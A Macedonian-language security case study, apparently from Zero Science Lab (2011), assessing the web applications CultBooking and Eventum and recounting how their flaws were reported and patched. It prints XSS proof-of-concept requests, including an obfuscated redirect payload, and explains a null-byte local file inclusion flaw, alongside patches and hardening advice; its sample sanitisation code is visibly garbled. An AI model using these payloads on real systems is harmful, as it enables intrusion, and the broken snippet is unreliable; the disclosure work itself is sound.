Информациско безбедносна проценка на веб апликациите Eventum и Cultbooking. (in-house web application security assessment)
1 of 16
More Related Content
Информациско безбедносна проценка на веб апликации (изучување на случај)
1. Информациско безбедносна проценка на веб апликации
(изучување на случај)
Секоја веб базирана апликација би требало да се тестира од грешки и багови (QA -
http://en.wikipedia.org/wiki/Quality_assurance) уште кога е во својата развојна фаза. Дури и откако ќе
излезе финалниот продукт, после додавањето на модули и нови ажурирања и додавање на нови
функционалности, апликацијата, доколку производителот ја смета за сериозна и доколку се грижи за
безбедноста на истата како и за безбедноста на своите клиенти кои ја користат, би требало да
извршува периодична безбедносна проценка или пенетрациско тестирање (пентест) и зацврстување
на веб апликацијата.
Во тој контекст решив да напишам едно изучување и анализа на веб апликации од безбедносна
гледна точка и како всушност изгледа едно безбедносно истражување на веб апликации и нивна
закрпа.
Избрав две веб апликации (PHP): CultBooking, развиена од германската компанија Cultuzz Digital
Media и претставува систем за резервации (хотели, карти и сл.) и Eventum, развиена од тимот на
MySQL (Oracle Corporation) која претставува систем за следење на багови, организација на задачи и
слично. Во овие две апликации ќе посочам на некои ранливости и нивни експлоатациски сценарија.
Пред да започне истражувањето првин ги преземам најновите верзии на горенаведените апликации
од нивните официјални веб страни и ја поставувам околината за тестирање со сите потребни
модули.
Во моментот на ова пишување, најновите верзии се:
1. CultBooking 2.0.4 - http://sourceforge.net/projects/cultbooking [3.454 KB]
2. Eventum 2.3 - https://launchpad.net/eventum [3.080 KB]
За овој вид на тестирање (in-house), околината содржи:
- GNU/Linux Fedora 10
- MS Windows XP Pro SP3
- XAMPP - http://www.apachefriends.org/en/xampp.html
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
2. 1. Запознавање со целта
Запознавање со целта е важен чекор во секоја истражувачка дејност. За да го разбереме она што
сакаме да го тестираме, првин треба ги научиме методите и функционалноста на апликацијата. За
што служи, која е примарната цел на истата, како се справува со податоци, преглед на интерфејсот
и запознавање со додатните модули како и читање на прирачникот, разгледување и ревизија на
изворниот код и хиерархијата, точки на корисничко внесување, протоколи, дали користи
авторизација и автентикација и сл. Треба целосно да го запознаеме работниот тек (workflow) на
целта, како што ги знаеме нашите омилени апликации кои што ги користиме секојдневно, за да се
дојде до успешни резултати од анализата.
Нема да пишувам ревизија за апликациите и нивните плусеви и минуси. Откако го запознав системот
на работа кај апликациите, продолжувам со следниот чекор.
2. Креирање на листа од безбедносни тест алатки
"Man is a tool-using animal. Without tools he is nothing, with tools he is all."
- Thomas Carlyle
Нема да објаснувам како се користат алатките туку само ќе набројам неколку бесплатни и корисни
безбедносни алатки кои ги користев во ова сценарио:
* Mozilla Firefox - веб прелистувач - http://www.mozilla.com/en-US/firefox/
* TamperData - firefox екстензија за следење и модификација на HTTP/S побарувања -
http://tamperdata.mozdev.org/
* HackBar - firefox екстензија, toolbar кој ви помага во тестирање на безбедноста на сајтови -
https://code.google.com/p/hackbar/
* Fiddler - веб дебагер - http://www.fiddler2.com/fiddler2/
* Firebug - firefox екстензија за уредување, дебагирање и мониторинг на html, css и js во веб
сајтови - http://getfirebug.com/
* N-Stalker - безбедносен скенер за веб апликации - http://www.nstalker.com/products/free
* Acunetix - скенер за веб безбедност - http://www.acunetix.com/cross-site-scripting/scanner.htm
* Websecurify - безбедносно тестирање на веб апликации - http://www.websecurify.com/download
* Powerfuzzer - веб fuzzer (стрес алатка) - http://www.powerfuzzer.com/
* PuzlBox - PHP fuzzer (динамична анализа на програм) - http://sourceforge.net/projects/puzlbox1/
* OWASP Zed Attack Proxy (ZAP) - алатка за пенетрациско тестирање и пронаоѓање на
ранливости во веб апликации (поранешен Paros - http://www.parosproxy.org/) -
http://code.google.com/p/zaproxy/
* Burp Suite - платформа за тестирање на веб апликации - http://www.portswigger.net/burp/
* WebSlayer - bruteforcer за веб апликации - http://code.google.com/p/webslayer/
* Pixy - статична анализа на изворен код (SQLi/XSS) - http://pixybox.seclab.tuwien.ac.at/pixy/
* w3af - конструкција за папад и ревизија на веб апликации - http://w3af.sourceforge.net/
* Samurai - конструкција за веб тестирање - http://samurai.inguardians.com/
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
3. 3. Истражување и анализа
3.1 CultBooking
Откако ја измапирав целата структура на апликацијата почнав со скенирање од ранливости со
горенаведените алатки како и разгледување на самиот код со едноставно читање. Пронајдов
неколку ранливости од типот Cross-Site Scripting од различни концепти, Local File Inclusion, File
Disclosure и Path Disclosure ранливост.
XSS POST Injection:
- Ранливи POST параметри: bookingcode и email
------------------------- HTTP Request -------------------------
POST /cultbooking/cultbooking.php HTTP/1.1
Content-Length: 136
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401
Firefox/3.1
Accept-Encoding: gzip,deflate
Keep-Alive: 50
Connection: Keep-Alive
bookingcode="><script>alert(1)</script>&email="><script>alert(1)</script>&agentsine=10492&agentd
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
5. XSS GET:
- Ранлив параметар: lang
------------------------- HTTP Request -------------------------
GET /cultbooking/cultbooking.php?lang="><script>alert(1)</script> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401
Firefox/3.1
Accept-Encoding: gzip,deflate
Keep-Alive: 50
Connection: Keep-Alive
------------------------------------------------------------------------
------------------------- HTTP Respond ----------------------------
HTTP/1.1 200 OK
Date: Sun, 16 Jan 2011 16:04:23 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1
mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
------------------------------------------------------------------------
Да напоменам дека има некои забрани поради magic_quotes (php.ini). Тие филтрирања можеме
понекогаш да ги заобиколуваме со помош на различни техники како енкодинг, обфускација, големи
и мали букви, хексадецимални карактери и т.н. Еве неколку референци:
Преусмерување:
http://127.0.0.1/cultbooking/cultbooking.php?lang="><script>document.location.href=String.fromCh
arCode(104, 116, 116, 112, 58, 47, 47, 122, 101, 114, 111, 115, 99, 105, 101, 110, 99, 101, 46,
109, 107);</script>
http://www.asciitable.com/
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
7. require_once('Sessionlanguage/cultbooking.languageNS.languageImplSkel.class.php');
навигирам во папката Sessionlanguage и го отворам cultbooking.languageNS.languageImplSkel.class.php
податокот. По детално разгледување доаѓам до скриптата:
cultbooking.languageNS.languageImpl.class.php во која го има следниов код:
----------------------------------------------------------
<?php
/** implement the methods of cultbooking§languageNS§languageImplSkel.class.php. */
class cultbooking§languageNS§languageImpl extends cultbooking§languageNS§languageImplSkel
{
var $incfile;
public function providetransLang()
{
return $this;
}
public function localization($incfile)
{
$this->incfile = $incfile;
}
public function translate($str)
{
include $this->incfile .".inc";
return $$str;
}
}
?>
----------------------------------------------------------
Проблемот е што нема доволно санирање на корисничкото внесување при што последици би можеле
да бидат катастрофални каде што напаѓачот би можел да дојде до осетливи информации само со
пропатување низ директориуми и специфицирање на податокот којшто сака да го види (пример:
passwd, config.php и сл.) со нулирање на крај од секој стринг (%00). Класата
cultbookingВ§languageNSВ§languageImpl е ранлива на LFI напад. Во функцијата се бара .inc податок
како што и веќе се таму en.inc и de.inc но со заобиколување и завршување на крај на стрингот
можеме да го видиме било кој податок кој се наоѓа во системот. Напаѓачот може да дојде до
осетливи информации на заразениот систем со пропатување на директориуми или пак да извршува
HTML код во корисничкиот прелистувач со помош на XSS напад.
Пример за побезбедно санирање/валидација:
<?php
$file = <?php
$file = preg_replace(‘/[^a-zA-Z0-9_]/’,”,addslashes($_GET['file']));
$readfile = readfile($file);
?>
($_GET['file']));
$readfile = readfile($file);
?>
За среќа, magic_quotes_gpc доколку ви е вклучено (=ON) ќе се заштитите од овој напад но не и од
Path Disclosure. Magic Quotes конвертира некои карактери, што им отежнува на напаѓачите успешно
да извршат напад, пример: %00 во 0, но не се препорачува користење на magic quotes за
избегнување на податоци.
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
9. Од сликите можете да видите како изгледа едно закрпување на веб апликација со едноставно
користење на функциите за регуларни изрази, поклопување на шаблони, санирање, споредување,
избегнување и нејзино зацврстување.
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
10. 3.2 Eventum
Исто и за оваа апликација истите чекори како за претходната апликација во која најдов Stored
(Persistent) складирана Cross-Site Scripting ранливост. Тоа значи дека кога и да се вратите на
апликацијата, скриптата ќе се извршува кога ќе ја повикате ранливата страна.
POST Stored/Persistent XSS:
- Ранлива скрипта: list.php, ранлив параметар: keywords
POST /eventum-2.3/htdocs/list.php?keywords=<script>alert('ZSL')<%2Fscript> HTTP/1.1
RESPONSE: HTTP/1.1 200 OK
Откако се најавив (post-auth) и после извршувањето на побарувањето, малициозниот стринг е
вметнат и складиран додека рачно не се избрише. Исто така, самата апликација, складираниот
стринг го извршува на секои 5 минути се додека не ја затворите страницата (page self-
refresh/session). Тест со помош на оставање на стрингот:
<script>alert(Date())</script> во search полето...
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
12. Закрпа:
Reflected/Non-Persistent XSS:
forgot_password.php и select_project.php се исто така ранливи на XSS нападот поради немање
филтрирање кога ја користат REQUEST_URI променливата. Ја тестирав и верзијата 2.2:
GET /eventum-2.3/htdocs/forgot_password.php/>"><script>alert('ZSL')</script>
GET /eventum-2.2/forgot_password.php/>"><script>alert('ZSL')</script>
GET /eventum-2.2/select_project.php/>"><script>alert('ZSL')</script>
-----------------------------------------------
Скрипта: eventum-2.3/lib/eventum/class.auth.php:
Line 90: $failed_url .= "&url=" . urlencode($_SERVER['REQUEST_URI']);
Line 131: self::redirect("select_project.php?url=" . urlencode($_SERVER['REQUEST_URI']),
$is_popup);
--
Скрипта: eventum-2.3/templates/current_filters.tpl.html
Line: 11: <b>{$filter_name}</b>: {$filter_value}{if !$smarty.foreach.active_filters.last}; {/if}
--
Скрипта: eventum-2.3libpearHTTP.php:
Line 318: $url = isset($_SERVER['REQUEST_URI']) ?
Line 319: $_SERVER['REQUEST_URI'] : $_
-----------------------------------------------
Ранливоста се наоѓа во папката templates во следниве фајлови:
- current_filters.tpl.html
- forgot_password.tpl.html
- select_project.tpl.html
(+ е додаден код или закрпен, - е одстранет код):
---------------------------------------------------------------------------
=== modified file 'templates/current_filters.tpl.html'
--- templates/current_filters.tpl.html 2008-07-22 20:19:52 +0000
+++ templates/current_filters.tpl.html 2011-01-24 03:14:02 +0000
@@ -8,7 +8,7 @@
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
14. Следење на измените од Eventum тимот (пред официјално објавување на нова верзија):
https://code.launchpad.net/~eventum-developers/eventum/trunk
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
15. 4. Безбедносни предупредувања, пријавување, одговорност
После секој пронајдок, индивидуално зависи дали ќе го пријавите тој пронајдок на производителот
со надеж за соработка и координирано објавување на безбедносно предупредување (етички) или
пак веднаш со објавување (не-етички) или пак воопшто (за приватни цели).
Иако се обидував да воспоставам комуникација со тимот на CultBooking, не добив одговор, поради
што, за неколку дена ги објавив и безбедносните предупредувања за пошироката јавност (според
нашата полиса за обелоденување). Дури по 2 недели од објавувањето, бев известен од господинот
Uwe Steinbach од Cultuzz тимот дека објавиле закрпена верзија 2.0.5.
Тимот на CultBooking во овој случај одиграа многу не одговорно па може да се каже и малку дрско.
За поздрав е тимот на Eventum поради својата инволвираност и активност, и поради реагирање
веднаш на пријавените ранливости и грижа за безбедноста на својата апликација. Добија целосна
соработка и поддршка и разумно време за креирање на закрпата. Безбедноста на информации треба
да се сфати сериозно. Откако ги пријавив ранливостите, господинот Bryan Alsdorf и Elan Ruusamäe
развија закрпа за помалку од два дена, после кое следеше официјално објавување на новата
верзија, 2.3.1.
Безб. предупредување ID: ZSL-2011-4987
Наслов: CultBooking 2.0.4 (cultbooking.php) Multiple XSS/PD Vulnerabilities
Врска: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-4987.php
Безб. предупредување ID: ZSL-2011-4988
Наслов: CultBooking 2.0.4 (lang) Local File Inclusion Vulnerability
Врска: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-4988.php
Безб. предупредување ID: ZSL-2011-4989
Наслов: Oracle MySQL Eventum 2.3 Remote Script Insertion Vulnerabilies
Врска: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-4989.php
5. Препораки
Кога развивате веб апликации, било да сте програмер или проект менаџер, би требало секогаш да ја
имате безбедноста на ум. Постојат такви техники и функции кои ви овозможуваат да развиете
постабилна и побезбедна апликација за вашите клиенти. Исто така постојат и Web Application
Firewall (WAF) апликации и за Windows и за Linux. (Еве некоја листа:
http://www.owasp.org/index.php/Web_Application_Firewall)
Користете избегнувања на специјални карактери каде што треба, санирање на формулари и скрипти
што качуваат (upload) податоци, валидација, двојна проверка на функции со бази на податоци и сл.
Функции како:
htmlspecialchars(), htmlentities(), mysql_real_escape_string(), addslashes(), preg_match(),
stip_tags(), nl2br(), escapeshellarg() и т.н.
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
16. Извршувајте безбедносни проценки и следете ги најновите вести од безбедносната индустрија како
и порталите што објавуваат нови ранливости и техники на заобиколување на безбедносните
механизми.
6. Корисни линкови и референци
- http://zeroscience.mk/mk/vulnerabilities/
- http://koduleht.eu/phptest/index.php
- http://koduleht.eu/phptest/taketest.php?11
- http://www.phpfreaks.com/tutorial/php-security
- http://grasp.coresecurity.com/index.php?m=chl
- http://www.ibm.com/developerworks/opensource/library/os-php-secure-apps/index.html
- http://net.tutsplus.com/tutorials/php/5-helpful-tips-for-creating-secure-php-applications/
- http://it.com.mk/lista-na-softver-za-revizija-na-izvoren-kod/
- http://www.gnucitizen.org/static/blog/2008/04/php-code-analysis-real-world-examples.pdf
- http://exploit-db.com
- http://secunia.com
- http://php-ids.org/
- http://osvdb.org
- http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
- http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
- http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet
- http://www.owasp.org/index.php/URL_Access_Prevention_Cheat_Sheet
- http://www.owasp.org/index.php/Injection_Prevention_Cheat_Sheet
- http://www.owasp.org/index.php/Esapi
- http://ha.ckers.org/xss.html
- http://phpsec.org/projects/guide/
- http://www.acunetix.com/websitesecurity/php-security-1.htm
- http://securitytube.net
- http://packetstormsecurity.org
- http://securityfocus.com
- http://vupen.com
- http://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents
- Book: The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities од
Mark Dowd, John McDonald и Justin Schuh.
Ѓоко Крстиќ
gjoko@zeroscience.mk
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011